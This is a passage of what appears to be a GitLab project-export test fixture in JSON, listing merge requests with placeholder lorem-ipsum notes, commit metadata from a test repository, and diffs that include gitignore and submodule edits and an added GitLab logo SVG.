dignissimos.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.902Z","updated_at":"2016-06-14T15:03:00.902Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":9,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":9,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":9,"relative_order":0,"sha":"a4e5dfebf42e34596526acb8611bc7ed80e4eb3f","message":"fixes #10\n","authored_date":"2016-01-19T15:44:02.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T15:44:02.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es"}],"merge_request_diff_files":[{"merge_request_diff_id":9,"relative_order":0,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":9,"created_at":"2016-06-14T15:02:22.829Z","updated_at":"2016-06-14T15:02:22.900Z","base_commit_sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","real_size":"1"},"events":[{"id":229,"target_type":"MergeRequest","target_id":9,"project_id":36,"created_at":"2016-06-14T15:02:22.927Z","updated_at":"2016-06-14T15:02:22.927Z","action":1,"author_id":16},{"id":169,"target_type":"MergeRequest","target_id":9,"project_id":5,"created_at":"2016-06-14T15:02:22.927Z","updated_at":"2016-06-14T15:02:22.927Z","action":1,"author_id":16}]}
+{"id":10,"target_branch":"feature","source_branch":"test-5","source_project_id":5,"author_id":20,"assignee_id":25,"title":"Eligendi reprehenderit doloribus quia et sit id.","created_at":"2016-06-14T15:02:23.014Z","updated_at":"2016-06-14T15:03:00.685Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":2,"description":"Ut dolor quia aliquid dolore et nisi. Est minus suscipit enim quaerat sapiente consequatur rerum. Eveniet provident consequatur dolor accusantium reiciendis.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":817,"note":"Recusandae et voluptas enim qui et.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:03:00.510Z","updated_at":"2016-06-14T15:03:00.510Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[]},{"id":818,"note":"Asperiores dolorem rerum ipsum totam.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:03:00.538Z","updated_at":"2016-06-14T15:03:00.538Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":819,"note":"Qui quam et iure quasi provident cumque itaque sequi.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:03:00.562Z","updated_at":"2016-06-14T15:03:00.562Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":820,"note":"Sint accusantium aliquid iste qui iusto minus vel.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:03:00.585Z","updated_at":"2016-06-14T15:03:00.585Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":821,"note":"Dolor corrupti dolorem blanditiis voluptas.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:03:00.610Z","updated_at":"2016-06-14T15:03:00.610Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":822,"note":"Est perferendis assumenda aliquam aliquid sit ipsum ullam aut.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:03:00.635Z","updated_at":"2016-06-14T15:03:00.635Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":823,"note":"Hic neque reiciendis quaerat maiores.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:03:00.659Z","updated_at":"2016-06-14T15:03:00.659Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":824,"note":"Sequi architecto doloribus ut vel autem.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:03:00.683Z","updated_at":"2016-06-14T15:03:00.683Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":10,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":10,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":10,"relative_order":0,"sha":"f998ac87ac9244f15e9c15109a6f4e62a54b779d","message":"fixes #10\n","authored_date":"2016-01-19T14:43:23.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T14:43:23.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es","commit_author":{"name":"James Lopez","email":"james@jameslopez.es"},"committer":{"name":"James Lopez","email":"james@jameslopez.es"}},{"merge_request_diff_id":10,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com","commit_author":{"name":"Marin Jankovski","email":"marin@gitlab.com"},"committer":{"name":"Marin Jankovski","email":"marin@gitlab.com"}},{"merge_request_diff_id":10,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com","commit_author":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"},"committer":{"name":"Marin Jankovski","email":"maxlazio@gmail.com"}},{"merge_request_diff_id":10,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":10,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":10,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":10,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":10,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":10,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":10,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com","commit_author":{"name":"Stan Hu","email":"stanhu@gmail.com"},"committer":{"name":"Stan Hu","email":"stanhu@gmail.com"}},{"merge_request_diff_id":10,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":10,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com","commit_author":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"},"committer":{"name":"윤민ì‹","email":"minsik.yoon@samsung.com"}},{"merge_request_diff_id":10,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com","commit_author":{"name":"Stan Hu","email":"stanhu@packetzoom.com"},"committer":{"name":"Stan Hu","email":"stanhu@packetzoom.com"}},{"merge_request_diff_id":10,"relative_order":13,"sha":"e56497bb5f03a90a51293fc6d516788730953899","message":"Merge branch 'tree_helper_spec' into 'master'\n\nAdd directory structure for tree_helper spec\n\nThis directory structure is needed for a testing the method flatten_tree(tree) in the TreeHelper module\n\nSee [merge request #275](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/275#note_732774)\n\nSee merge request !2\n","authored_date":"2015-01-10T22:23:29.000+01:00","author_name":"Sytse Sijbrandij","author_email":"sytse@gitlab.com","committed_date":"2015-01-10T22:23:29.000+01:00","committer_name":"Sytse Sijbrandij","committer_email":"sytse@gitlab.com","commit_author":{"name":"Sytse Sijbrandij","email":"sytse@gitlab.com"},"committer":{"name":"Sytse Sijbrandij","email":"sytse@gitlab.com"}},{"merge_request_diff_id":10,"relative_order":14,"sha":"4cd80ccab63c82b4bad16faa5193fbd2aa06df40","message":"add directory structure for tree_helper spec\n","authored_date":"2015-01-10T21:28:18.000+01:00","author_name":"marmis85","author_email":"marmis85@gmail.com","committed_date":"2015-01-10T21:28:18.000+01:00","committer_name":"marmis85","committer_email":"marmis85@gmail.com","commit_author":{"name":"marmis85","email":"marmis85@gmail.com"},"committer":{"name":"marmis85","email":"marmis85@gmail.com"}},{"merge_request_diff_id":10,"relative_order":16,"sha":"5937ac0a7beb003549fc5fd26fc247adbce4a52e","message":"Add submodule from gitlab.com\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T10:01:38.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T10:01:38.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":10,"relative_order":17,"sha":"570e7b2abdd848b95f2f578043fc23bd6f6fd24d","message":"Change some files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:57:31.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:57:31.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":10,"relative_order":18,"sha":"6f6d7e7ed97bb5f0054f2b1df789b39ca89b6ff9","message":"More submodules\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:54:21.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:54:21.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":10,"relative_order":19,"sha":"d14d6c0abdd253381df51a723d58691b2ee1ab08","message":"Remove ds_store files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:49:50.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:49:50.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}},{"merge_request_diff_id":10,"relative_order":20,"sha":"c1acaa58bbcbc3eafe538cb8274ba387047b69f8","message":"Ignore DS files\n\nSigned-off-by: Dmitriy Zaporozhets <dmitriy.zaporozhets@gmail.com>\n","authored_date":"2014-02-27T09:48:32.000+01:00","author_name":"Dmitriy Zaporozhets","author_email":"dmitriy.zaporozhets@gmail.com","committed_date":"2014-02-27T09:48:32.000+01:00","committer_name":"Dmitriy Zaporozhets","committer_email":"dmitriy.zaporozhets@gmail.com","commit_author":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"},"committer":{"name":"Dmitriy Zaporozhets","email":"dmitriy.zaporozhets@gmail.com"}}],"merge_request_diff_files":[{"merge_request_diff_id":10,"relative_order":0,"utf8_diff":"Binary files a/.DS_Store and /dev/null differ\n","new_path":".DS_Store","old_path":".DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":10,"relative_order":1,"utf8_diff":"--- a/.gitignore\n+++ b/.gitignore\n@@ -17,3 +17,4 @@ rerun.txt\n pickle-email-*.html\n .project\n config/initializers/secret_token.rb\n+.DS_Store\n","new_path":".gitignore","old_path":".gitignore","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":2,"utf8_diff":"--- a/.gitmodules\n+++ b/.gitmodules\n@@ -1,3 +1,9 @@\n [submodule \"six\"]\n \tpath = six\n \turl = git://github.com/randx/six.git\n+[submodule \"gitlab-shell\"]\n+\tpath = gitlab-shell\n+\turl = https://github.com/gitlabhq/gitlab-shell.git\n+[submodule \"gitlab-grack\"]\n+\tpath = gitlab-grack\n+\turl = https://gitlab.com/gitlab-org/gitlab-grack.git\n","new_path":".gitmodules","old_path":".gitmodules","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":3,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":4,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":10,"relative_order":5,"utf8_diff":"Binary files a/files/.DS_Store and /dev/null differ\n","new_path":"files/.DS_Store","old_path":"files/.DS_Store","a_mode":"100644","b_mode":"0","new_file":false,"renamed_file":false,"deleted_file":true,"too_large":false},{"merge_request_diff_id":10,"relative_order":6,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 